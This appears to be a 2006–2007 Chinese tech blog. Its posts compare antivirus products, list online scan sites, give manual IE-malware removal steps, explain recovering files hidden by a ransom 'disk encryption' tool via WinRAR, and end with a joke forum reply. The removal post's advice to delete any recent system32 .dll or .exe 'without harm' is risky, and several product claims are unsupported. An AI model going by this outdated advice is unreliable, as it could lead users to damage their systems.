所说的瑞星能否在服务器运行问题

0

分类 : 网络日志 | 发表时间 02-02-2007

今天在霏凡论坛上看到有人问是否可以在服务器上运行瑞星的单机版本?觉得这个问题,还是有必要聊一下。

以前在装服务器的时候,由于有正版的瑞星服务版软件,因此一般都装瑞星,虽然有瑞星对内存的控制不严谨等说法,但觉得国产的软件,对国内病毒还是比较了解的,所以,一般都用瑞星的实时监控,瑞星的防火墙,在流量和运算负载小的时候安装,大的时候,就采用其他措施了。

上个月在装一台至强win2003ser平台的web服务器时,遇到了一个问题,才决定换用其他实时监控,当时用的一套虚拟主机控制软件,在正常安装以后,运行,总是提示内存地址被占用的红色错误,按道理来说,正常情况下,安装后启用,就正常运行了,但这次却非常奇怪;不得其解后,采用最小安装法,卸载其他正在运行的服务,也包括瑞星实时监控(安装后系统后就把杀毒监控安装上了,现在的病毒可是比较肆虐,不敢大意,呵),然后重启一下(瑞星服务停掉,需要在启动项中去掉),重启之后,启动虚拟主机控制软件,正常可以启动;后来启用其他服务,独没有启用瑞星,还是可以正常启动,单独试一下,启用瑞星时,虚拟主机控制软件就无法启动了。从这个事情可以看来,瑞星对于内存方面的控制,还是比较严格,但过于严格或者来说,不够严谨,却千造成了这样的问题,确实不方便。

之后,考虑之后,决定采用macfee来进行监控和安全防护,macfee比较贴实的一点就是防护不错,包括对目录的防写等操作规则,还是很自由的,以前用8.01的,现在已经决定用8.5i的了,用macfee注意规则必须要反复测试好了,不然,稍有疏漏,会引起服务器很大的故障,造成的麻烦,就得不偿失了!规则方面,可以看一下霏凡"蓝色马蹄莲"的规则帮助和规则包。

事实上,瑞星在服务器上安装,我觉得还是需要斟酌的,前后用瑞星这么多年,占用系统性能这个感觉,一直没有去掉,也是觉得有些郁闷。如果有人需要推荐一款在服务器上安装的杀软的话,我首推荐诺顿服务器版,现在已经是10以上的版本了,不过比较稳定点的算是9.0版了,用10以后的版本也没问题,基本设置差不多。诺顿在世界上占用的大量份额,都是在于企业,而企业最大的诺顿应用就是服务器的防护和网络的整体防护。可见,诺顿走至今天,当不是"浪得虚名"!

深入分析和评测各大杀软和防火墙

1

分类 : 技术文摘 | 发表时间 26-09-2006

  世界上公认的比较著名的杀毒软件有:卡巴斯基,F-SECURE,MACFEE,诺顿,趋势科技,熊猫,NOD32,AVG,F-PORT等等。

其中卡巴,macfee,诺顿又被誉为世界三大杀毒软件!每个杀毒软件都有自身的优势,当然也有不足之处!比如卡巴斯基的杀毒能力确实很强,对的起排名世界第一的称号,但是监控方面却存在不足,而且在内存占用方面始终令人头疼。

Macfee的系统监控恰恰是做的最好的。

NOD32的扫毒速度最快,内存占用方面最少,全球获奖无数,因而成为微软御用4年的杀毒软件也绝非空穴来风。

熊猫可能大家以为是中国的,其实也是洋货啦,杀毒理念和模块最先进,可惜老是提示你要重新激活,所以破解的不大完美!

诺顿大家很熟悉,老实说诺顿的广告宣传还真是不错的,但是大家注意,别看广告,看疗效!当诺顿屡次告诉你XX病毒被隔离,无法清除时,你是否感到厌倦了呢?当然诺顿企业版要比个人版本的杀毒能力更强悍,建议大家使用9.0的,最新10.0占用资源有点大,不算完美。

F-SECURE可能知道的人很少,别说用的人了,呵呵。其实这款杀毒软件名气是相当响的。来自芬兰的杀毒软件,集合AVP,LIBRA,ORION, DRACO四套杀毒引擎,其中一个就是Kaspersky的杀毒内核,而且青出于蓝胜于蓝,个人感觉杀毒效率比Kaspersky要好,对网络流行病毒尤 其有效。

在《PC Utilites》评测中超过Kaspersky名列第一。该软件采用分布式防火墙技术。

f -secure 曾经超过Kaspersky,排名第一,但后来Kaspersky增加了扩展病毒库,反超f-secure 。鉴于普通用户用不到扩展病毒库,因此f-secure还是普通用户很不错的一个选择。所以我用下来的感觉就是F-SECURE的综合能力可以排第一名! 但是这个软件也有不足,就是进程太多,要近15个进程,呵呵,谁叫它有四套杀毒引擎呢?不过也够安全吧。进程虽多,却一点不觉得卡!

在此不得不提起国产杀毒软件,国产杀毒软件也有很多用户群,个性化的界面也赢得了很多用户的青睐。

比如瑞星的那个小狮子就蛮可爱的,做个桌面宠物也不错。

但是有很多人会说,国产的技术不行,靠不住的。呵呵,其实我倒不这么认为!

国产杀毒软件我最喜欢的就是KV2006,江民的东西还是老牌子,杀毒监控实力不俗。

瑞星和金山的起步晚一些,有些地方做的还是不够理想,但毕竟是在不断进步,希望能越做越好,给中国人也争光一把,哈哈。

也许有人会说实际的杀毒能力说明一切,金山,瑞星和卡巴比就是垃圾等等。呵呵,那你就错了,如果说卡巴能杀掉这个病毒,金山杀不掉,就说明卡巴强于金山?反过来金山能杀掉这个病毒,卡巴无法查杀,那又如何解释呢?

2005年病毒测试包样本,是个压缩包文件,里面大概有26个病毒样本,试试你的杀软吧,呵呵,江民,金山,瑞星兵不血刃的杀光了所有病毒,再看看卡巴啊,这次傻了吧,所以说每个杀毒软件都有自己的长处,不能一拍子否定。

还有的朋友问我一个杀毒软件保险吗,要不要装两个来个双保险?

呵呵,对于这个我觉得是可行的,但是前提是你对杀毒软件的各项设置要比较了解而且自己的电脑配置要高档点,否则不是系统容易崩溃就是电脑被两个杀毒软件拖垮的。

比较典型的例子就是卡巴斯基+KV2006的组合,很显然卡巴系统监控的不足由KV2006来弥补。卡巴只负责杀毒即可了。

但是这个豪华组合要牺牲很多内存,你电脑够劲的话可以试试。另外卡巴加NOD32也是不错的搭配,NOD32查毒和监控方面都不错,而且查毒速度奇快, 内存占用很小,这样你可以用NOD32进行查毒,大家都知道卡巴的查毒速度是很慢的,因为病毒库多啊,每个文件都要那13W病毒库去套,能不慢嘛!

有的朋友关心哪个杀毒软件病毒库多哪个就牛?

呵呵,大家都以为卡巴病毒库很多是吗?现在大概13万4千左右吧,但是面对罗马尼亚的杀软BitDefender Professional近20W的病毒库,卡巴一边凉快去吧。

所以BitDefender Professional在2005年一些网站的测试中取得过第一名的成绩。

但是病毒库多并不能说明问题,实际杀毒能力BitDefender Professional并没有比卡巴更好,所以这个也是大家理解的误区!

作者:五月 整理出处:天极安全

国内国外免费在线杀毒网站

0

分类 : 技术文摘 | 发表时间 14-06-2006

~~技术纵横提示~~
1、在线扫描时,应关闭除浏览器之外的所有程序;
2、建议使用Internet Explorer(IE浏览器)来打开下面的网址,一些基于IE核心的浏览器可能会造成无法扫描或出现错误提示。
3、您的IE浏览器应升级到最新版本,某些安全厂商的在线查杀功能不支持IE 4.x浏览器。

此文由本站原创,转载请注明出处“(来自techxy.com)”,谢谢!

~~以下厂商地址,排名不分先后~~

==中文==
趋势科技在线扫毒
说明:需要安装ActiveX插件
地址:http://www.trendmicro.com.cn/housecall/start_corp.asp

光华反病毒软件在线杀毒
地址:http://www.viruschina.com/free/freevirus.asp

金山毒霸免费查毒
地址:http://zs.kingsoft.com/safe_intro_1.shtml
金山在线杀毒
地址:http://scan.kingsoft.com/scan/oscan/retail.htm

瑞星免费在线查毒
地址:http://online.rising.com.cn/free/index.htm
安博士间谍软件在线查杀
地址:http://auth70.ahn.com.cn/shopping/spyzero.jsp

安博士在线杀毒
地址:http://auth70.ahn.com.cn/shopping/myv3.jsp

熊猫在线杀毒
地址:http://www.pandasoftware.com/activescan/activescan.asp?Language=8&Country=44&Partner=25&Ref=CN-PR-AS-108

天网安全扫描
地址:http://pfw.sky.net.cn/news/info/list.php?sessid=&sortid=17

CA eTrust在线扫描
说明:需要安装ActiveX插件
地址:http://www3.ca.com/securityadvisor/virusinfo/scan.aspx

==英文==

BitDefender-欧洲著名的安全厂商
地址:http://www.bitdefender.com/scan8/ie.html

avast!在线扫描
说明:支持单个文件扫描,每个文件大小限制不超过512KB
地址:http://onlinescan.avast.com/

微软Live.com在线安全扫描
说明:需要安装插件
地址:http://safety.live.com/

SpywareGuide在线扫描
说明:需要安装ActiveX插件
地址:http://www.spywareguide.com/onlinescan.php

Kaspersky(卡巴斯基)在线扫描
说明:无须插件,扫描文件大小不能超过1MB
地址:http://www.kaspersky.com/scanforvirus

WindowSecurity在线木马扫描
说明:需要安装ActiveX插件
地址:http://www.windowsecurity.com/trojanscan/

SpywareInfo-间谍软件在线扫描
说明:需要安装ActiveX插件
地址:http://www.spywareinfo.com/xscan.php

F-Secure在线病毒扫描
说明:需要安装ActiveX插件
地址:http://support.f-secure.com/enu/home/ols.shtml

ewido在线扫描beta测试版
说明:需要安装ActiveX插件
http://www.ewido.net/en/onlinescan/run/

PandaSoftware间谍软件在线扫描查杀
说明:需要安装Toolbar
http://www.pandasoftware.com/products/spyxposer/

三招必杀技清除IE顽固病毒

0

分类 : 系统安全 | 发表时间 24-04-2006

现今的杀毒工具虽然有的门类众多,五花八门,但是还是很多都不能完全解决各种顽固病毒。真是道高一尺,魔高一丈。有时候用了很多杀毒工具都无法根除病毒,特别是各种IE病毒,恶意代码,更是让许多网民防不胜防,打开IE时冷不防的蹦出个广告网站窗口?IE被篡改?重启后还被篡改?系统资源被严重损耗?这些都是非常普遍的IE病毒的表现形式。
而且现在很多病毒都是被网络不法分子和广告宣传公司造出来的。杀毒工具根本来不及更新,等杀毒工具更新了,你的电脑基本也都瘫痪了。

  这种情况下,有时候不得不重装系统。笔者有一次在写论文的时候太急,杀毒工具都用了N个,还是不能杀干净,于是索性重装系统。付出的代价也是惨痛的。难道出问题了都要重装系统吗?不用!现在笔者教你如何在杀毒工具都无法清除的情况来手工杀除那些顽固的IE病毒。万事不求人,应对各种突发病毒和新病毒都药到病除!你不需要是杀毒专家,这些,其实很简单。请看以下手工杀毒必杀技三招秘籍。

  一、第一招之初步防御:预备阶段

  这一阶段,我还是建议大家首先试一下各种杀毒工具,把基本的能杀的病毒都给先杀了,以减轻自己的工作量。比如IE病毒专杀工具如3721雅虎助手(可查杀大部分IE病毒和恢复浏览器),反间谍专家,以及金山毒霸,瑞星,江民等常见杀毒工具。你需要在预备阶段做的工作就是利用一些杀度工具把常见的大部分病毒都给杀除了。另外,如果不能杀除,你可以再尝试在系统启动时按F8进入安全模式在这个情况下再启动杀毒工具和IE修复工具进行查杀。当然,有些人造新病毒还是可以躲过这一关的。那么就用下一招。

  二、第二招之反击病毒:扫描进程进行查杀

  笔者的电脑就曾经CPU狂转滚烫无比,发现RUNDLL32.EXE这个文件运行了99%的CPU资源,而这个文件是WINDOWS下的SYSTEM32文件夹里的,不应该是病毒。而最大的可能,它就是被用来运行了某些病毒的DLL文件。而造成严重损害的。针对进程问题,首先大家可以用最简单的方法先进行表面清楚,就是在“开始”里点“运行”,键入MSCONFIG,然后进入启动项设置,看到不正常的启动项,比如各种莫名奇妙的名字,以及特别是在非WINDOWS系统文件夹下的(可以直接删除都没事),以及各种奇怪的可执行文件,.exe的,给予坚决取消启动。并可找到那个文件的位置,给予删除,如果非系统文件夹下的,你大可以放心删除。另外,推荐大家一款免费的进程扫描工具hijackthis,大家可以找它的汉化版的,用来扫描进程,你根据扫描进程文件,可以一一排除,哪些是正常的文件,正常的文件旁一般都有注释。

  当然,当你看到某些异常文件,尤其是隐藏在SYSTEM32文件夹下的,某些异常的.exe文件,以及它的上级文件夹。不要怕,进入c:/windows/system32, 进去之后,找到那个文件,以及它的父文件夹。有时候,你会很惊讶的发现,这个可执行文件病毒就被你发现了,有的病毒执行程序,你查看属性时,竟然写到是某某广告公司,我记得很清楚的就有什么傲视广告公司,真是垃圾公司造一些垃圾广告病毒来害人!这些病毒往往都是一个单的可执行文件,放在SYSTEM32下或者一个文件夹里。先别管它,好在这些病毒还写了是谁造的,还等什么,马上彻底删除!有的无法删除,正在运行的,你要借助一些文件粉碎机来删除。而好象SP2的WINXP自带粉碎文件功能。就这样,你根据可疑进程,特别是扩展名为.exe的文件,找到它隐藏的文件夹,看它的属性和修改日期,有的是往往是发生病毒情况的那一天的,很容易就发现它是病毒,直接封杀!有的更“牛”一点,在父文件夹里还带着一些广告网站的.ini 文本文件和其它文件夹,这个没事,你打开看看那些文件夹里都是啥,有时候你能发现这些.ini 文件里就写着骚扰你的恶意网站或者其它广告网站的地址。发现了就好,然后再看看这个文件夹的修改时间,如果是发生病毒时候的,还等什么?整个这个异常文件夹一下子删除!就这样,你可以通过进程扫描,寻根求底的方法,找到隐藏的系统文件下,通过查阅文件夹以及异常文件属性等,直接手工删除!

  三、第三招之主动出击:根除残留病毒

  有时候,某些病毒并不是在运行,而是在你打开IE之后的某个时间或者激发了某些事件,它们才会运行。有的还是某些.DLL 文件,隐藏在系统文件夹下,很难发现,而且往往误认为是系统文件而不敢查杀。这些成为最顽固的病毒,不用怕。这些也都可以通过第三招而杀除。最常用的方法是根据文件夹和文件修改创建时间。首先你把文件夹属性调整为查阅所有文件,包括隐藏文件和系统文件。然后右健,再通过查看文件方式选择为查看详细信息,则会出现详细信息列表,你可以通过选择最近时间排列,而看到最新创建的一些文件夹和一些文件。如果你记得你病毒发作的那第一天时间,直接可以发现那些异常文件夹的创建时间和病毒发作时大概相同,直接进去查看,有时候往往发现这些文件夹里果然包含着广告网站的信息等或者其它异常内容。不管有没有,直接删除这些文件夹吧!有的如果是你最近装过的软件的话,你自己也会清楚,如果不是的,那就是病毒创建的文件夹了。删除这些新创建的对你系统运行也没有损失。

  大可以不必担心。统统删!另外,如果发现新近建的尤其是病毒发作那一天创建的.dll文件(我记得有个就叫什么std.dll,stdup.dll,spoolsv.dll等),以及其它异常.exe文件,不管有没有在以前的进程中发现的,发现的,更是有把握的删,没在进程中发现的,也可以不犹豫的删除,因为这些新建立的文件,是不会影响系统运行的。另外,这是主动到某个文件夹里看,当然,你可以通过更智能的方法,用WINDOWS搜索来查找最近修改的文件,这样,再一个个去分析去删除。这些方法,是手工杀毒三招中的最高境界。新创立的文件,你自己建立的,不用管它,不是你自己建立的,或者也不是最近装的某软件的。那些就很可能是病毒了。特别是病毒发作那第一天的,极大的可能性就是病毒。为了安全,直接删除!

  通过以上三种方法,我最近又通过手工杀除了许多顽固的新的IE病毒。避免了重装系统。其实,自己手工杀毒,乐在其中。其实杀毒也是那么简单。另外,奉劝大家以后上网不要随便安装控件,也不要随便下载和乱点击。查阅资料等尽量去大网站而不要去小网站。另外设置WINDOWS防火墙,安装病毒防火墙,隔段时间用杀毒工具进行病毒查杀。如果再出现问题,就用我的那三招吧!

WinRAR破解“磁盘加密王”

0

分类 : 技术文摘 | 发表时间 13-04-2006

一大早,笔者打开办公室电脑,顿时傻眼了。除C盘外的其它磁盘里的所有文件夹及文件全都不见了,每个磁盘中只留下一个“磁盘加密王”和一个“技术支持”的文本文档(图1)。但笔者从未用过“磁盘加密王”这个软件,也没有将电脑交给其他人使用,这究竟是怎么回事呢?双击F盘中的“磁盘加密王”,弹出“移动解密”对话框,提示需要密码才能完全解密。打开磁盘中的“技术支持”文本文件,发现文档中留下了一个QQ号,与其联系,告知要想解密需交人民币三百元。笔者的电脑几天前刚安装了正版Windows XP SP2和瑞星2006杀毒软件,使用的是Windows XP系统自带的防火墙,没想到昨天在上网时还是被黑客无声无息地入侵了。


问题分析

针对这个情况,笔者首先查看了被加密的几个磁盘空间,发现磁盘空间与加密前相比并没有减少。笔者确认磁盘数据并没有丢失,但被别有用心的人用软件加密了。笔者启动瑞星2006查杀病毒,没有发现病毒,在用瑞星2006扫描D和E盘时,都扫描到了笔者保存在磁盘中的文件夹和文件,只不过它们都保存在一个名为“Thumbs.dn”的文件夹中。但从“我的电脑”打开相应的磁盘却无法查看到这个文件夹,因此无法获取存放在磁盘中的资料。

笔者以前曾用WinRAR查看过隐藏在磁盘中的文件夹和文件。能不能通过WinRAR找到隐藏的“Thumbs.dn”文件夹呢?笔者打开WinRAR,利用“文件”菜单中的“改变驱动器”切换至F盘。在WinRAR主窗口中,F盘中包括“Thumbs.dn”在内的所有隐藏对象都显示出来了(图2)。


通过查找相关资料获悉,“磁盘加密王”实际是一款名为“高强度文件夹加密大师”磁盘加密软件。它不受系统影响,没有解密密码即使系统重装、Ghost还原,数据也依然加密。所以,没有密码一般不易破解。

加密原理
经过笔者的分析,“高强度文件夹加密大师”对文件夹及文件加密时,实质是对文件夹和文件的名称进行了加密处理,文件夹和文件本身内容并没有改变。

对文件夹进行加密时,软件对加密路径下的所有文件夹进行了改名处理,将原来的文件夹名称为以数字“1~m”(m个文件夹)为序重新命名,并在每个文件夹的数字名称后加上代码“.”。此代码是打印机系统文件夹的代码,因此,解密文件夹时必须要将此代码删除,否则得到的就是打印机的图标(图3)。


对文件的加密,软件同样是以数字为序对文件名采取了改名处理,将所有文件名主名改名为“1~n”(n个文件),扩展名改为“.mem”。

在“Thumbs.dn”文件夹中,有两个文件值得我们注意,即“117789687”和“117789687list.mem”,这两个文件存放的是密码相关信息。其中,“117789687list.mem”文件存放的是加密前文件夹及文件的名称数据及与加密后文件夹和文件名称对应关系等信息。不过,软件开发者已经对这两个文件的数据进行了算法处理,没有软件开发者提供的密码表,我们无法获取密码信息。另外,在“%systemroot%\\system32\\”下有这样一个文件“danine.dll”,它记录了软件目前已经加密了哪些磁盘和文件夹信息,用“记事本”可以直接打开查看。

解密文件夹

打开WinRAR,依次单击“文件→改变驱动器→F”,切换至需要解密的磁盘。在WinRAR主窗口中,双击“Thumbs.dn”,打开该文件夹。此文件夹中,我们发现保存在F盘上的所有文件夹。将每个文件夹名称数字序号后的“.”代码删除。然后,选中所有文件夹,单击工具栏中的“添加”按钮,将这些文件夹压缩成一个文件存放至E盘。最后,解压此压缩文件即得到所有存放在F盘中的文件夹及保存在文件夹中的文件。

解密文件

解密存放在磁盘根目录下的文件,我们要判断文件是否为RAR类型的文件,分两种情况进行。

1.RAR类型的文件

这类文件,我们只要直接选中它,单击工具栏中的“解压至”,然后选择文件解压存放的路径,将文件直接解压,实现解密。
2.非RAR类型的文件

对这类文件解密起来麻烦一些。首先,根据文件长度回忆原文件的类型。如果实在想不起来,你可以试试“文件夹嗅探器”(下载地址:http://www.onlinedown.net/soft/40923.htm),嗅探根目录下的所有“.mem”文件,单击工具栏中的测试文件类型工具,测试得出该文件的类型。然后,打开WinRAR,将该文件名的扩展名“.mem”改为原文件类型的扩展名。最后,用工具栏中的“添加”按钮,将此文件压缩打包存放至合适的位置,再解包得到原文件。

最精辟的回帖

0

分类 : 业界动态 | 发表时间 09-04-2006

看了你的贴不由得精神为之一振,自觉七经八脉为之一畅,七窍倒也开了六巧半,自古英雄出少年,楼主年纪轻轻,就有经天纬地之才,定国安邦之智.楼主的帖子,就好比黑暗中刺裂夜空的闪电,又好比撕开乌云的阳光.
说得好啊!我在XX社区打滚这么多年,所谓阅人无数,就算没有见过猪走路,也总明白猪肉是啥味道的。一看到楼主的气势,我就觉得楼主同在社区里灌水的那帮小混混有着本质的差别!那忧郁的语调,那熟悉的签名,还有字里行间高屋建瓴的辞藻。没用的,楼主,就算你怎么换马甲都是没有用的,你的亿万拥戴者早已经把你认出来了,你一定就是传说中的最强ID。自从社区改版之后,我就已经心灰意冷,对社区也没抱什么希望了,传说已经幻灭,神话已经终结,留在社区还有什么意思?没想到,没想到,今天可以再睹楼主的风范,我激动得忍不住就在屏幕前流下了眼泪。是啊,只要在楼主的带领下,社区就有希望了。我的内心再一次沸腾了,我胸腔里的血再一次燃烧了。楼主的几句话虽然简单,却概括扼要,一语道出了我们苦想多年仍不可解的几个重大问题的根本。楼主就好比社区的明灯,楼主就好比社区的方向,楼主就好比社区的栋梁。有楼主在,社区的明天必将更好!
大师的话真如“大音希声扫阴翳”,犹如“拨开云雾见青天”,使我等网民看到了希望,看到了未来!晴天霹雳、醍醐灌顶或许不足以形容大师文章的万一;巫山行云、长江流水更难以比拟大师的文才!黄钟大吕,振聋发聩!你烛照天下,明见万里;雨露苍生,泽被万方!透过你深邃的文字,我仿佛看到了你鹰视狼顾、龙行虎步的伟岸英姿;仿佛看到了你手执如椽大笔、写天下文章的智慧神态;仿佛看见了你按剑四顾、指点江山的英武气概!
逐字逐句地看完这个帖子以后,我的心久久不能平静,震撼啊!为什么会有如此好的帖子!我纵横网络BBS多年,自以为再也不会有任何帖子能打动我,没想到今天看到了如此精妙绝伦的这样一篇帖子!楼主,是你让我深深地理解了“人外有人,天外有天”这句话。谢谢侬!在看完这帖子以后,我没有立即回复,因为我生怕我庸俗不堪的回复会玷污了这网上少有的帖子。但是我还是回复了,因为觉得如果不能在如此精彩的帖子后面留下自己的网名,那我死也不会瞑目的!能够在如此精彩的帖子后面留下自己的网名是多么骄傲的一件事啊!楼主,请原谅我的自私!我知道无论用多么华丽的辞藻来形容楼主您帖子的精彩程度都是不够的,都是虚伪的,所以我只想说一句:您的帖子太好看了!我愿意一辈子看下去!这篇帖子构思新颖,题材独具匠心,段落清晰,情节诡异,跌宕起伏,主线分明,引人入胜,平淡中显示出不凡的文学功底,可谓是字字珠玑,句句经典,是我辈应当学习之典范。正所谓:“一马奔腾,射雕引弓,天地都在我心中!”楼主真不愧为无厘界新一代的开山怪!本来我已经对这个社区失望了,觉得这个社区没有前途了,心里充满了悲哀。但是看了你的这个帖子,又让我对社区产生了希望。是你让我的心里重新燃起希望之火,是你让我的心死灰复燃,是你拯救了我一颗拔凉拔凉的心!本来我决定不在社区回任何帖子了,但是看了你的帖子,我告诉自己这个帖子是一定要回的!这是百年难得一见的好贴啊!苍天有眼啊,让我在有生之年得以观得如此精彩绝伦的帖子!



好帖

很好帖

确实好帖

少见的好帖

真 **** 好帖

难得一见的好帖

千年等一回的好帖

好得不能再好的好帖

惊天地且泣鬼神的好帖

让人阅毕击掌三叹的好帖

让人佩服得五体投地的好帖

让人奔走相告曰须阅读的好帖

让斑竹看后决定加精固顶的好帖

让人看后在各论坛纷纷转贴的好帖

让人看后连成人网站都没兴趣的好帖

让人看完后就要往上顶往死里顶的好帖

让人不间断地在各种场合重复引用的好帖

让人一见面就问你看过某某好帖没有的好帖

让人半夜上厕所都要打开电脑再看一遍的好帖

让个读过后都下载在硬盘里详细研究欣赏的好帖

让人走路吃饭睡觉干什么事连做梦都梦到它的好帖

让人翻译成36种不同外语流传国内外世界各地的好帖

让人纷纷唱道过年过节不送礼要送就送某某帖子的好帖

让国家领导人命令将该帖刻在纯金版上当国礼送人的好帖

让网络上纷纷冒出该帖的真人版卡通版搞笑版成人版的好帖

让人在公共厕所里不再乱涂乱化而是纷纷对它引经据典的好帖

让某位想成名的少女向媒体说她与该帖作者发生过性关系的好帖

让人根据它写成小说又被不同导演拍成48个不同版本的电影的好帖

让某名导演跟据此帖改拍的电影在奥斯卡上一连拿了11个奖项的好帖

让人大代表们看完后联名要求根据该帖的内容对宪法做适当修改的好帖

让人为了谁是它的原始作者纷纷地闹上法院打官司要争得它的版权的好帖

让各大学府纷纷邀请该帖作者去就如何发表优秀网络文学为题目演讲的好帖

让人为了该帖而成立了各种学会来研究并为不同的理解争得眼红脖子粗的好帖

让美国警察于今后逮捕人说你有权保持沉默还有权阅读某某帖子要不要啊的好帖

让本拉登躲在山洞里还命令他手下冒着被美军发现的危险去上网下载来阅读的好帖

让萨达姆被捕时被发现他随身携带的除了一把手枪之外还有的就是它的复印件的好帖

让比尔盖茨在懂事会上发给与会者人手一份该帖命令仔细阅读后才讨论其他事宜的好帖

让诺贝儿奖理事会破天荒地因该帖的出现而开会讨论一直决定今后设立最佳帖子奖的好帖

让联合国安理会决定将它译成宇宙语由中国神州六号升空后不断播放看有没有外星人的好帖

让人看完后ie锁死连瑞星诺顿都没法修复只好格式化硬盘重装启动后主页显示的还是它的好帖真是好帖子啊
阁下  字迹工整,
    文笔极佳,
    才思敏捷,
    过目不忘,
    十年寒窗,
    博学多才,
    见多识广,
    才高八斗,
    学富五车,
    文武双全,
    雄韬伟略,
    谈吐不凡,
    谈笑风声,
    高谈阔论,
    眉飞色舞,
    运筹帷幄,
    言简意赅,
    完美无缺,
    一针见血,
    远见卓识,
    义正词严,
    一气呵成,
    大显神通,
    出口成章,
    出类拔萃,
    出神入化,
    万古流芳,
    一本正经,
    一箭双雕,
    长篇大论,
    功德无量,
    力排众议,
    力挽狂澜,
    气贯长虹,
    气势磅礴,
    气吞山河,
    坚韧不拔,
    身体力行,
 
   空前绝后,
    视死如归,
    英姿焕发,
    奉公守法,
    艰苦奋斗,
    忠贞不渝,
    舍己为人,
    大公无私,
    一尘不染,
    一鸣惊人,
    叱诧风云,
    排山倒海,
    惊涛骇浪,
    雷霆万钧,
    惊心动魄,
    横扫千军,
    惊天动地,
    见缝插针,
    无孔不入,
    千篇一律,
    口诛笔伐,
    文从字顺,
    十全十美,
    无懈可击,
    无与伦比,
    励精图治,
    壮志凌云,
    高瞻远瞩,
    忍辱负重,
    盖世无双,
    龙飞凤舞,
    一丝不苟,
    身兼数职,
    日理万机,
    明察秋毫,
    英明果断,
    分身有术,
    孜孜不倦,
    吾等楷模
    …………
    在下对你的景仰之情有如滔滔长江之水,
    连绵不绝
    ……
    又如黄河泛滥,
    一发不可收拾
    ……
    嘿嘿
    惊天地!
    泣鬼神!
    感人肺腑!
    感人落泪!
    i 服了 u!
    长江后浪退前浪,
    灌水英雄代代出
    ……
    
    好贴。。。
    又见好帖。。。
    
    又见不是一般的好贴。。。
    
    好贴不是别的。。。
    
    好贴就是好贴。。。
    
    好是好贴的好。。。
    
    贴是好贴的帖。。。
    
    好贴不是别的。。。
    
    好贴就是好贴。。。
    
    曾经有人问我。。。楼猪的帖子算不算好贴。。。我没有回答。。。因为我想起了一位传说中的大师—古龙先生的一段话:“。。。天涯远不远?。。。天涯其实一点也不远。。。因为人已经在天涯。。。天涯还远吗。。。”
    
    好帖啊。。。
    难得一见的好贴。。。
    楼猪的文章简直是惊天地。。。泣鬼神。。。
    图文并茂。。。嬉笑怒骂。。。
    指点系词。。。激扬文字。。。
    带给我们的仅仅是视觉上的感受吗。。。
    
    大错特错。。。
    楼猪的文章带给我们的是心灵深处的震撼。。。
    楼猪的文章是宣言书。。。楼猪的文章是宣传队。。。楼猪的文章是播种机。。。楼猪的文章带来的是读者的欣喜和系词的繁荣。。
      
我对楼猪的景仰犹如滔滔江水。。。绵绵不绝。。。又如黄河泛滥。。。一发。。。而不可收拾。。。楼主的文笔实在用笔墨难以形容。。。熄了灯。。。打着赤脚。。。将整个人都倦在大班椅里。。。喝着清茶看那一个个帖子在mop之间时隐时现。。。

      
记得一位高人说。。。好帖子与垃圾帖的区别在于。。。好帖子越看越暖。。。而垃圾帖。。。越看越寒。。。我呢。。。一开始就和普通人一样。。。不相信真有一种帖子可以让人学会忘记烦恼和所有不开心的事情。。。所以。。。我选择看垃圾帖。。。选择垃圾帖的人。。。一般都比较冷静。。觉得冥冥中一直在等楼猪写这个帖子。。。我以为。。。楼猪的帖子写出来。。。就应该是一部传世之作。。。到现在我才发现。。。什么事情都是可以变的。。。惟独不变的是楼猪的精彩原创。。。就好像我一直以为自己文笔不错。。。忽然看到楼猪帖子。。。才发现我输了。。。因为在我读楼猪的帖子的时候。。。我忘记烦恼和所有不开心的事情。。。整个人好象沐浴在4月杭州温暖的春风中。。我决定以后只会看好帖子。。。那种让人越看越暖的好帖子。。。那种让人忘记烦恼和所有不开心的事情的好帖子。。。换句话说。。。我以后只看楼猪的帖子。。。
    
    苍天之下,厚土之上,竟有如此奇人异士、文人墨客!讥讽于谈笑间,笑骂于无形中,层次之高,境界之深,非我等所能匹及,偶像啊!!!仿高人此文,照作一篇,以表仰慕之情。。。
    在逐行逐句地看完此帖后,我的心久久不能压抑的喜悦,震动了整个生命!怎会有如此精妙绝伦的好贴?偶潜水网络bbs多年,自以为贴在人外,何肖评说,岂可
    
    妄动情谊呼!未曾想到今日竟有如此好贴现于眼前,激动啊!
    楼猪,是你让偶幼小的心灵再次深深的领悟了何谓造旨之高深、文笔之挥洒。。谢谢you!
    在看完这帖子以后,我立即动手回复,因为我生怕迟到的回复不能使更多的人领悟你的圣明,以至使这等网上少有的好贴就此轮沉,我担不起这样的罪名!更加重要的是,能在如此重要、精辟而又生动的贴子后,留上自己的网名,这对我的生命,以及我的家庭,乃至我所处的社会中是多么荣耀的一件事啊,请您高贵而又宽容的心,能够原谅我的这点小小私心!
    此贴构思巧妙,视角独到,手法新颖。字字斟酌,句句精美,情节曲折,而又始终不离中心思想,引人入胜,淡淡的言语中,显示人生之大道理,充分体现了您
    
    深厚的文化底韵与丰富的社会经验,真可谓讽刺之经典,骂人之绝学,这正是我辈苦学闷读追求的至高境界啊!
    就艺术的角度而言,这篇帖子已然为经典之作,但它的意义却远远大于经典本身。正所谓:“骂而无形,讥于无影,笑骂之中显真功!”楼主真不愧为讽刺界新一代的开山长毛鼻祖!
    本来我已经对这个系词社区绝望了,觉得这个社区不可能再有明天了,心里充满了伤感。但是今日所见you的这个帖子,又重新让偶看到了八卦的希望。是you让我的心里重新燃起希望的火花,是you让偶的心又重新跳动起来,是you拯救了偶一颗哇凉哇凉的心,并挽救了一个无知的灵魂!
    本来偶已决定不会在系词回任何帖子了,但是今日拜读you之高作,偶告诉自己如此经典之贴是一定要回的!这是千百年来版友翘首以待的好贴啊!苍天开眼啊,让偶在对社区心灰意冷之时得以观得如此精彩绝伦的好贴!
    楼猪,you是系词的希望啊,you要担起系词兴旺之大任啊!
    偶一定会追随你左右,偶坚定此贴必然会起到抛砖引玉的作用,更坚信在偶有生之年必然会有更多象楼猪一样的猪来八卦畅所欲言、发表高见,不管明天会是如何,今夜梦中,偶会笑容灿烂,因为,偶终于知道了,此番人世,得此一贴,无憾矣!
    
    在逐字逐句地看完这个帖子以后,我的心久久不能平静,震撼啊!为什么会有如此好的帖子?!我纵横网络bbs多年,自以为
再也不会有任何帖子能打动我,没想到今天看到了如此精妙绝伦的这样一篇帖子。
    楼主,是你让我深深地理解了‘人外有人,天外有天’这句话。谢谢侬!
